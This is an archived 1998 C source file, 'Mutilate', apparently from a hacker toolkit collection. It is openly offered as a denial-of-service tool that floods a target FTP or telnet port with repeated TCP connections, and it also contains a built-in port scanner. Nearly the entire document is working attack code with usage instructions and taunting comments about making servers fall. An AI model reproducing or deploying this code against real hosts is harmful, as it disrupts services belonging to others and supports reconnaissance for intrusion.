home *** CD-ROM | disk | FTP | other *** search
/ The Elite Hackers Toolkit / TheEliteHackersToolkitVolume1_1998.rar / HACKERS.BIN / hackers / mutilate.c < prev    next >
C/C++ Source or Header  |  1998-09-09  |  5KB  |  167 lines

  1.  /*********************************************
  2.  *  Mutilate v1.0                             * 
  3.  * By HoGs HeaD                               * 
  4.  * ------------------------------------------ * 
  5.  * What this program does:                    *  
  6.  * ------------------------------------------ * 
  7.  * This is a port mutilator, connects as      *
  8.  * many times as possible to a port resulting *
  9.  * in a DoS attack or lag kill. Run it on     *
  10.  * a small FTP server or telnet server and    *
  11.  * watch the daemons fall....                 *
  12.  * Fear the built-in port scanner!            *
  13.  * Build using:                               *
  14.  *                                            *  
  15.  * $ gcc mutilate -o mutilate.c               * 
  16.  *                                            *
  17.  * You can't modify this and redistribute it  *
  18.  * unless i have given you permission.        * 
  19.  *                                            *
  20.  * (C)1998 HoGs HeaD & Inertia                *
  21.  *********************************************/
  22.  
  23. #include <stdio.h>
  24. #include <sys/socket.h>
  25. #include <sys/time.h>
  26. #include <netinet/in.h>
  27. #include <netinet/in_systm.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/ip_icmp.h>
  30. #include <errno.h>
  31. #include <netdb.h>
  32. #include <signal.h>
  33.  
  34. #define PROG_NAME "Mutilate"
  35. #define HIGH_PORT 1024
  36.  
  37. /***************
  38. * Usage Table  *
  39. ****************/
  40.  
  41. void usage()
  42. {
  43. printf("usage: %s <IP address> <port (or -s for scan)>\n\n", PROG_NAME);
  44. exit(0);
  45. }
  46.  
  47. /****************
  48. * Title Banner  *
  49. *****************/
  50.  
  51. void banner()
  52. {
  53. puts("\nMutilate by HoGs HeaD and Inertia");
  54. puts("----------------------------------\n");
  55. }
  56.  
  57. /********************
  58. * PortScan Function *
  59. ********************/
  60.  
  61. void portscan(char *the_ip)
  62. {   
  63.    struct hostent *scand;          /* Well golly jeepers batman, let's init some shiz... */
  64.    struct sockaddr_in scan;
  65.    int sck; 
  66.    int c, portnum;
  67.  
  68.      for(portnum=1; portnum<HIGH_PORT; portnum++){                /* start the hunt.. */
  69.    
  70.        if(isdigit(*the_ip)){
  71.          scan.sin_addr.s_addr = inet_addr(the_ip);
  72.      } else{                                                 /* resolve the host */
  73.          scand = gethostbyname(the_ip);
  74.          strncpy((char *)&scan.sin_addr, (char *)scand->h_addr, sizeof(scan.sin_addr));     
  75.            }
  76.    
  77.      scan.sin_family = AF_INET;
  78.      scan.sin_port   = htons(portnum);
  79.      sck = socket(AF_INET, SOCK_STREAM, 0);               /* create the socket */
  80.     
  81.        if(sck < 0){
  82.          printf("Socket cannot be established!\n");
  83.                   }
  84.  
  85.      c = connect(sck, (struct sockaddr *)&scan, sizeof(scan)); /* connect the socket */
  86.        if(c < 0){
  87.                   /* we aren't connected, so... */
  88.      } else{
  89.                  /* we're connected, bewm, notify user. */
  90.          printf("Found an open port on %d...\n", portnum);
  91.            }
  92.   
  93.  shutdown(sck, 2);
  94. }
  95.  close(sck);
  96. }
  97.  
  98.  
  99. /****************
  100. * Main Function *
  101. ****************/
  102.  
  103. void main(int argc, char **argv)
  104. {
  105.     struct hostent *th;
  106.     struct sockaddr_in target[400];
  107.     int count=1;
  108.     int sock, error, port;
  109.     char *curr_ip;
  110.   
  111.    banner();
  112.   
  113.    if(argc < 3){
  114.      usage();
  115.               }
  116.   
  117.   curr_ip = argv[1];
  118.  
  119.     if (!strcmp (argv[2], "-s")) {
  120.       printf("Beginning a port scan on %s...\n\n", argv[1]);
  121.       portscan(argv[1]);
  122.         exit(0);
  123.                                  }
  124.  
  125.   port = atoi(argv[2]);
  126.   printf("Now opening connections to %s...\n\n", curr_ip);
  127.  
  128.  /*******************   
  129.  * Begin Mutilation *
  130.  *******************/
  131.  
  132.  for(; count<400; ++count) 
  133.  {  
  134.    
  135.    if(isdigit(*curr_ip))     /* If the host specified is a numerical IP */
  136.      target[count].sin_addr.s_addr = inet_addr(curr_ip);     
  137.    else {                    /* If the host specified as a hostname */
  138.      th = gethostbyname(curr_ip);
  139.      strncpy((char *)&target[count].sin_addr, (char *)th->h_addr, sizeof(target[count].sin_addr));
  140.         }
  141.    
  142.       target[count].sin_family = AF_INET;
  143.       target[count].sin_port = htons(port);
  144.       sock = socket(AF_INET, SOCK_STREAM, 0);
  145.    
  146.     if(sock < 0){
  147.       printf("Error setting up socket!\n");
  148.       exit(2);
  149.                 }
  150.    
  151.       error = connect(sock, (struct sockaddr *)&target[count], sizeof target[count]);
  152.    
  153.     if(error < 0) 
  154.       printf("Error connecting to: %d : %s\n", port, strerror(errno));
  155.     else {
  156.       printf("Opened %d sockets to host...\n", count);
  157.          }  
  158.   }
  159.                          
  160.   printf("\nOpened 400 socks to server, ending...\n");
  161.   close(sock);
  162. }
  163.  
  164. /***************
  165. * End Program  *
  166. ***************/
  167.